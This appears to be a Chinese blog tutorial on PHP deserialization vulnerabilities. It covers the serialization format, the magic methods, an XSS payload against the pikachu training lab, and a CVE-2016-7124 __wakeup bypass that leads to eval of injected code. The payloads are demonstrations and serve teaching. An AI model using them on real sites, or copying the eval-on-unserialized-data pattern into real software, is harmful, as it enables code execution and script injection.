PHP反序列化漏洞知識(shí)整理

0x00 序列化與反序列化

序列化:將對(duì)象轉(zhuǎn)化為字符串的形式,稱為序列化,在php中可以使用serialize函數(shù)實(shí)現(xiàn)
反序列化:將字符串還原成對(duì)象的形式,稱為反序列化,在php中可以使用unserialize函數(shù)實(shí)現(xiàn)


一個(gè)序列化的例子

<?php
class Test{
  public $a = 'ThisA';
  protected $b = 'ThisB';
  private $c = 'ThisC';
  public function test1(){
      echo 'this is test1 ';
  }
}

$test = new Test();

var_dump(serialize($test));

?>

運(yùn)行結(jié)果:
O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"?*?b";s:5:"ThisB";s:7:"?Test?c";s:5:"ThisC";}

O:4:"Test":3的解釋:O標(biāo)識(shí)這是一個(gè)對(duì)象,4表示對(duì)象名的長(zhǎng)度,“Test”表示對(duì)象名,3表示了對(duì)象有3個(gè)成員

s:1:"a";s:5:"ThisA";的解釋:s表示類型為String,為字符串,1表示成員名長(zhǎng)度,“a”是這個(gè)成員名;s:5:"ThisA",表示值類型為字符串長(zhǎng)度為5,值未“ThisA”。

protected屬性成員 序列化后名字會(huì)以 "%00*%00b"表示,即%00*%00成員名

private屬性成員 序列化后會(huì)名字會(huì)以"%00Test%00c"表示,即%00類名%00成員名

可以看到,對(duì)象的方法并不序列化到字符串中。

對(duì)于不同類型的序列化字符串保存形式
String : s:size:value;
Integer : i:value;
Boolean : b:value;(保存1或0)
Null : N;
Array : a:size:{key definition;value definition;(repeated per element)}
Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}


一個(gè)反序列化例子:

<?php
class Test{
  public $a = 'ThisA';
  protected $b = 'ThisB';
  private $c = 'ThisC';
  public function test1(){
      echo 'this is test1';
  }
}

$test = new Test();

$str = serialize($test);
//通過反序列化創(chuàng)建對(duì)象并執(zhí)行函數(shù)
$test1 = unserialize($str);
$test1->test1();
?>

0x01 魔法函數(shù)

__construct()當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用
__destruct()當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用
__toString()當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串使用
__sleep() 在對(duì)象在被序列化之前運(yùn)行
__wakeup將在序列化之后立即被調(diào)用

代碼例子:

<?php
class Test{
  function __construct(){
      echo 'construct run<br>';
  }

   function __destruct(){
       echo 'destruct run<br>';
   }

   function __toString(){
       return 'toString run<br>';
   }

   function __sleep(){
       echo 'sleep run<br>';
       return array();
   }

   function __wakeup(){
       echo 'wakeup run<br>';
   }
}

$test = new Test();    // __construct run
echo $test;       // __toString run
$str = serialize($test); // __sleep run
$test1 = unserialize($str); // __wakeup run
unset($test);            // __destruct run
?>

執(zhí)行結(jié)果:

0x02 反序列化漏洞

序列化和反序列化本身并沒有問題,但結(jié)合了魔法函數(shù)加上參數(shù)可控,就可能造成問題,以pikachu靶場(chǎng)的一個(gè)例子:

class S{
   var $test = "pikachu";
   function __construct(){
       echo $this->test;
   }
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
   $s = $_POST['o'];
   if(!@$unser = unserialize($s)){
       $html.="<p>大兄弟,來點(diǎn)勁爆點(diǎn)兒的!</p>";
   }else{
      $html.="<p>{$unser->test}</p>";
   }

}

用戶可以傳遞序列化字符串給服務(wù)器進(jìn)行反序列化,并將對(duì)象的test成員輸出到頁面上,此時(shí)的test的值為我們所控

提交payload觸發(fā)xss:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

0x03 CVE-2016-7124(繞過__wakeup函數(shù))

影響版本:PHP5 < 5.6.25
PHP7 < 7.0.10

在反序列化時(shí),如果字符串中對(duì)象屬性個(gè)數(shù)大于實(shí)際屬性個(gè)數(shù),wakeup將跳過執(zhí)行。

<?php
class Test{
   public $test='123456';

   function __wakeup(){
       $this->test = 'echo "wakeup run";';
   }

   function __destruct(){
       @eval($this->test);
   }
}

$str = 'O:4:"Test":1:{s:4:"test";s:10:"phpinfo();";}';

$test1 = unserialize($str);
?>

以上代碼的執(zhí)行結(jié)果


當(dāng)序列化字符串將對(duì)象屬性個(gè)數(shù)修改成大于實(shí)際數(shù)量時(shí),將繞過wakeup的執(zhí)行,$str = 'O:4:"Test":2:{s:4:"test";s:10:"phpinfo();";}';

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

友情鏈接更多精彩內(nèi)容